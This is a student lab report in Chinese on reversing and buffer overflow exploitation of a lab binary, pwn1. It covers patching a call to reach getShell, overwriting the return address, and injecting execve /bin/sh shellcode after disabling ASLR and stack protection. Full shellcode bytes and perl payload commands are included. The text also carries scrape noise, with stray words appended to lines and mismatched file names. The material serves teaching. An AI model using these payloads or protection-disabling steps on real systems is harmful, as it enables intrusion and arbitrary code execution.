20155327李百乾《網絡對抗》逆向及Bof基礎

20155327李百乾《網絡對抗》逆向及Bof基礎

實踐目標

本次實踐的對象是一個名爲pwn1的linux可執行文件。linux

該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。shell

該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。sass

--服務器

三個實踐內容以下:
手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。
利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。
注入一個本身製做的shellcode並運行這段shellcode。
這幾種思路,基本表明現實狀況中的攻擊目標:
運行本來不可訪問的代碼片斷
強行修改程序執行流
以及注入運行任意代碼。
--網絡

基礎知識

1.熟悉Linux基本操做

objdump -d:從objfile中反彙編那些特定指令機器碼的section。
perl -e:後面緊跟單引號括起來的字符串,表示在命令行要執行的命令。
xxd:爲給定的標準輸入或者文件作一次十六進制的輸出,它也能夠將十六進制輸出轉換爲原來的二進制格式。
ps -ef:顯示全部進程,並顯示每一個進程的UID,PPIP,C與STIME欄位。
|:管道,將前者的輸出做爲後者的輸入。dom

:輸入輸出重定向符,將前者輸出的內容輸入到後者中。函數

2.掌握NOP, JNE, JE, JMP, CMP彙編指令的機器碼

NOP:NOP指令即「空指令」。執行到NOP指令時,CPU什麼也不作,僅僅當作一個指令執行過去並繼續執行NOP後面的一條指令。(機器碼:90)學習

JNE:條件轉移指令,若是不相等則跳轉。(機器碼:75)ui

JE:條件轉移指令,若是相等則跳轉。(機器碼:74)spa

JMP:無條件轉移指令。段內直接短轉Jmp short(機器碼:EB)段內直接近轉移Jmp near(機器碼:E9)段內間接轉移Jmp word(機器碼:FF)段間直接(遠)轉移Jmp far(機器碼:EA)

CMP:比較指令,功能至關於減法指令,只是對操做數之間運算比較,不保存結果。cmp指令執行後,將對標誌寄存器產生影響。其餘相關指令經過識別這些被影響的標誌寄存器位來得知比較結果。

實踐內容

實踐一:直接修改程序機器指令,改變程序執行流程

使用objdump -d pwn1將pwn1反彙編

若是咱們想讓函數調用getShell,只須要修改d7 ff ff ff便可。根據foo函數與getShell地址的偏移量,咱們計算出應該改成c3 ff ff ff。

修改的具體步驟以下:

vi pwn1進入命令模式
輸入:%!xxd將顯示模式切換爲十六進制
在底行模式輸入/e8d7定位須要修改的地方,並確認
進入插入模式,修改d7爲c3
輸入:%!xxd -r將十六進制轉換爲原格式
使用:wq保存並退出

反彙編查看修改後的代碼,發現call指令正確調用getShell:

實踐二:經過構造輸入參數,形成BOF攻擊,改變程序執行流

按照步驟輸入:
gdb pwn1 (gdb) r Starting program: /root/pwn1 1111111122222222333333334444444455555555 1111111122222222333333334444444455555555使用gdb進行調試:

  • 確認用什麼值來覆蓋返回地址。

首先經過以前對文件反彙編,能夠獲得getShell函數的內存地址爲0804847d。
因爲前一步中,輸入1234,獲得的地址爲34333231。所以,getshell的地址應反着輸入,正確的是:11111111222222223333333344444444\x7d\x84\x04\x08。

  • 構造輸入字符串

由於鍵盤沒法輸入\x7d\x84\x04\x08這樣的16進制數值,因此經過重定向生成包括這樣字符串的一個文件。
\x0a表示回車,若是沒有的話,在程序運行時就須要手工按一下回車鍵。
使用16進制查看指令xxd查看input文件的內容。

實踐三 注入Shellcode並執行

.準備一段Shellcode

  Shellcode實際是一段代碼(也能夠是填充數據),是用來發送到服務器利用特定漏洞的代碼,通常能夠獲取權限。另外,Shellcode通常是做爲數據發送給受攻擊服務器的。此次試用一個已經生成的shellcode:
  

選擇retaddr+nops+shellcode結構來攻擊buf,在shellcode前填充nop的機器碼90,最前面加上加上返回地址(先定義爲\x4\x3\x2\x1):

perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
  1. 準備工做
root@KaliYL:~# execstack -s pwn1    //設置堆棧可執行
root@KaliYL:~# execstack -q pwn1    //查詢文件的堆棧是否可執行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
0

打開一個終端注入這段攻擊buf

root@KaliYL:~# (cat input_shellcode;cat) | ./pwn1
������1�Ph//shh/bin��PS��1Ұ
                           �

再開另一個終端,用gdb來調試pwn1這個進程。

root@KaliYL:/home# ps -ef | grep pwn1 //找到pwn1的進程號是

root@KaliYL:/home# gdb//啓動gdb調試這個進程

(gdb) attach 27728

(gdb) disassemble foo// 經過設置斷點,來查看注入buf的內存地址

(gdb) break *0x080484ae
Breakpoint 1 at 0x80484ae
//!!注意:在另一個終端中按下回車,這就是前面爲何不能以\x0a來結束 input_shellcode的緣由。

(gdb) c
Continuing.

(gdb) info r esp //查看寄存器的值

(gdb) x/16x 0xffffd3fc //看到 01020304了,就是返回地址的位置。shellcode就挨着,因此地址是 0xffffd2e0

![](https://images2018.cnblogs.com/blog/1071551/201803/1071551-20180320155046183-1926776749.png)
![](https://images2018.cnblogs.com/blog/1071551/201803/1071551-20180320155103429-1328482984.png)

root@KaliYL:~# perl -e 'print "A" x 32;print "\xe0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

查看shellcode轉換進制內容xxd input_shellcode,並運行驗證是否成功(cat input_shellcode;cat) | ./pwn20155305

root@KaliYL:~# xxd input_shellcode

root@KaliYL:~# (cat input_shellcode;cat) | ./pwn20155327
```

相關文章
相關標籤/搜索